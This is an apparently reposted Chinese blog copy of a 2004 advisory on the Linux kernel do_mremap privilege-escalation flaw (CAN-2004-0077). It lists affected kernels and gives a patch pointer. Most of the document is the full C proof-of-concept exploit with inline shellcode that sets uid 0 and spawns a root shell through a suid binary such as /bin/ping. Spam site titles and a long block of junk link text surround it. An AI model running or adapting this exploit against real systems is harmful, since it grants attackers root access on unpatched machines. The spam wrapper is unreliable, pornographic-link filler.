青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

Linux Kernel do_mremap VMA本地權限提升漏洞

日期:2004-03-05

發布日期:2004-02-18
更新日期:2004-03-03

受影響系統:
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.25
Linux kernel 2.2.24
Linux kernel 2.2.23
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - Slackware Linux 8.0
    - SuSE Linux 8.2
    - SuSE Linux 8.1
不受影響系統:
Linux kernel 2.6.3
Linux kernel 2.4.25
Linux kernel 2.2.26
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0077

Linux是一款開放源代碼操作系統。

Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

<*來源:Paul Starzetz (paul@starzetz.de)
  
  鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
*>

測試方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

/*
*
*    mremap missing do_munmap return check kernel exploit
*
*    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
*    ./mremap_pte [suid] [[shell]]
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like from cat    
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
             unsigned long new_len, unsigned long flags,
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                \n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            \n"
    "        xorl    %ecx, %ecx            \n"
    "        xorl    %edx, %edx            \n"
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_setresuid)", %al    \n"
    "        int    $0x80                \n"
    "        mov    $"xstr(__NR_setresgid)", %al    \n"
    "        int    $0x80                \n"

//    execve(launch)
    "        popl    %ebx                \n"
    "        andl    $0xfffff000, %ebx        \n"
    "        xorl    %eax, %eax            \n"
    "        pushl    %eax                \n"
    "        movl    %esp, %edx            \n"
    "        pushl    %ebx                \n"
    "        movl    %esp, %ecx            \n"
    "        mov    $"xstr(__NR_execve)", %al    \n"
    "        int    $0x80                \n"

//    exit
    "        xorl    %eax, %eax            \n"
    "        mov    $"xstr(__NR_exit)", %al        \n"
    "        int    $0x80                \n"

    "callme:    jmp    jumpme                \n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            \n"
    "        andl    $0xfffff000, %%eax        \n"
    "        movl    %%eax, %0            \n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    \n"
    "        movl $("xstr(CLONEFL)"), %%ebx        \n"
    "        movl %%esp, %%ecx            \n"
    "        movl $"xstr(__NR_clone)", %%eax        \n"
    "        int  $0x80                \n"
    "        movl %%eax, %0                \n"
    "        popa                    \n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                \n"
    "        movl %2, %%ecx                \n"
    "        movl %3, %%edx                \n"
    "        movl $"xstr(__NR_execve)", %%eax    \n"
    "        int  $0x80                \n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("\n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot,
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("\n[+] Success\n\n"); fflush(stdout);
    return;

failed:
    printf("\n[-] Failed\n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("\n[-] invalid kernel version string\n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}

建議:
--------------------------------------------------------------------------------
廠商補丁:

Linux
-----
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

http://www.kernel.org/


下載 

posted on 2007-06-01 03:10 葉子 閱讀(522) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            av72成人在线| 亚洲欧美日韩天堂| 免费在线看一区| 在线播放视频一区| 免费中文日韩| 免费在线成人av| 一区二区三区免费看| 日韩天堂av| 国产精品美女www爽爽爽| 亚洲影院免费观看| 午夜精品视频| 亚洲第一福利在线观看| 亚洲国产一区在线| 欧美精品一卡| 亚洲一区视频在线观看视频| 亚洲在线观看免费| 韩国av一区二区三区| 亚洲第一区在线观看| 欧美日韩一区在线观看| 久久国产精品久久精品国产| 久久久免费精品视频| 一本色道久久综合狠狠躁篇怎么玩| 亚洲精品国产视频| 国产欧美日韩综合| 男女精品网站| 欧美日韩一区免费| 麻豆精品一区二区av白丝在线| 免播放器亚洲一区| 亚洲影视综合| 久久综合国产精品台湾中文娱乐网| 99一区二区| 欧美影视一区| 亚洲视频日本| 欧美一区二区大片| 亚洲精品色婷婷福利天堂| 亚洲综合色激情五月| 亚洲人体大胆视频| 午夜久久久久久| 99国产精品视频免费观看| 午夜免费电影一区在线观看| 日韩视频在线你懂得| 久久精品中文字幕免费mv| 亚洲视频自拍偷拍| 老司机免费视频久久| 西瓜成人精品人成网站| 蜜桃伊人久久| 久久亚洲国产精品日日av夜夜| 欧美色道久久88综合亚洲精品| 麻豆国产精品777777在线| 国产精品麻豆欧美日韩ww | 免费成人黄色av| 欧美一级午夜免费电影| 欧美日本一区二区高清播放视频| 久久免费视频这里只有精品| 欧美性大战久久久久| 亚洲激情电影在线| 在线播放视频一区| 欧美专区在线观看一区| 欧美一级大片在线免费观看| 欧美日韩一区二区三区在线看| 亚洲电影免费| 伊人成年综合电影网| 久久er99精品| 先锋影音网一区二区| 国产精品久线观看视频| 夜久久久久久| 亚洲在线免费| 欧美视频免费在线| 99精品国产在热久久婷婷| 99在线精品视频| 欧美日韩精品中文字幕| 亚洲久久成人| 亚洲免费在线视频一区 二区| 欧美日韩美女一区二区| 夜夜嗨一区二区| 亚洲小视频在线| 国产精品久久久久aaaa| 亚洲欧美激情在线视频| 久久精品成人欧美大片古装| 海角社区69精品视频| 久久久久久久久伊人| 欧美激情1区2区| 亚洲美女淫视频| 欧美视频一区二区| 亚洲欧美日韩电影| 久久精品1区| 亚洲福利精品| 欧美另类专区| 亚洲视频在线观看视频| 久久久久久穴| 亚洲国产你懂的| 欧美日韩八区| 亚洲欧美日韩在线观看a三区| 久久尤物电影视频在线观看| 亚洲二区免费| 欧美午夜不卡视频| 欧美一区二区日韩| 欧美激情久久久久久| 亚洲特色特黄| 国户精品久久久久久久久久久不卡 | 国产一区二区成人| 看欧美日韩国产| 妖精成人www高清在线观看| 久久成人18免费网站| 亚洲破处大片| 国产乱码精品一区二区三区五月婷| 欧美自拍丝袜亚洲| 亚洲精品国偷自产在线99热| 欧美一级在线视频| 亚洲精品国产精品乱码不99按摩| 欧美日韩午夜剧场| 久久久久欧美| 亚洲一区二区三区涩| 欧美国产三区| 久久国产精品久久久| 亚洲免费观看高清完整版在线观看| 国产精品久久久久久影视| 美女国内精品自产拍在线播放| 99精品久久久| 欧美高清视频一区二区| 午夜精品福利在线观看| 亚洲毛片在线看| 极品尤物一区二区三区| 国产精品vvv| 欧美国产日本高清在线| 久久久久青草大香线综合精品| 日韩一区二区精品葵司在线| 欧美成人免费网| 久久久久久久欧美精品| 午夜欧美精品久久久久久久| 亚洲日韩欧美一区二区在线| 黄色国产精品| 国内精品久久久久久| 国产精品视频成人| 国产精品久久久久一区二区三区| 欧美成人69av| 裸体歌舞表演一区二区| 久久久久九九视频| 久久精品国产第一区二区三区| 亚洲一级在线观看| 在线视频你懂得一区| 日韩午夜剧场| 亚洲精品欧美日韩专区| 亚洲国产天堂网精品网站| 欧美激情精品久久久久久变态| 久久一区中文字幕| 狂野欧美一区| 男人的天堂亚洲在线| 欧美成人国产一区二区| 噜噜噜在线观看免费视频日韩| 久久精品毛片| 久久久午夜视频| 久久亚洲欧洲| 欧美aaa级| 欧美激情视频给我| 亚洲黑丝在线| 日韩视频免费观看高清在线视频 | 久久精品99无色码中文字幕| 午夜视频久久久久久| 欧美影院在线播放| 久久久久综合网| 免费看亚洲片| 亚洲人精品午夜在线观看| 亚洲人成小说网站色在线| 一本色道久久综合亚洲精品按摩 | 亚洲激情第一页| 亚洲精品综合在线| 亚洲一级片在线看| 欧美影院精品一区| 蜜桃av一区二区| 欧美日韩ab片| 国产人成精品一区二区三| 国内自拍视频一区二区三区| 1000精品久久久久久久久 | 欧美日韩在线免费| 国产精品网红福利| 国内综合精品午夜久久资源| 亚洲福利在线看| 亚洲私拍自拍| 久久综合给合久久狠狠狠97色69| 欧美福利视频| 亚洲午夜一区二区三区| 欧美亚洲视频在线看网址| 欧美www视频| 国产精品女人久久久久久| 黄色精品网站| 亚洲视频1区| 猫咪成人在线观看| 一区二区三区欧美日韩| 久久天天躁狠狠躁夜夜av| 欧美视频福利| 精品二区视频| 午夜老司机精品| 亚洲国产精品第一区二区| 亚洲夜间福利| 欧美激情第3页| 韩国一区二区在线观看| 亚洲视频精选| 亚洲国产另类久久久精品极度| 亚洲欧美日韩直播|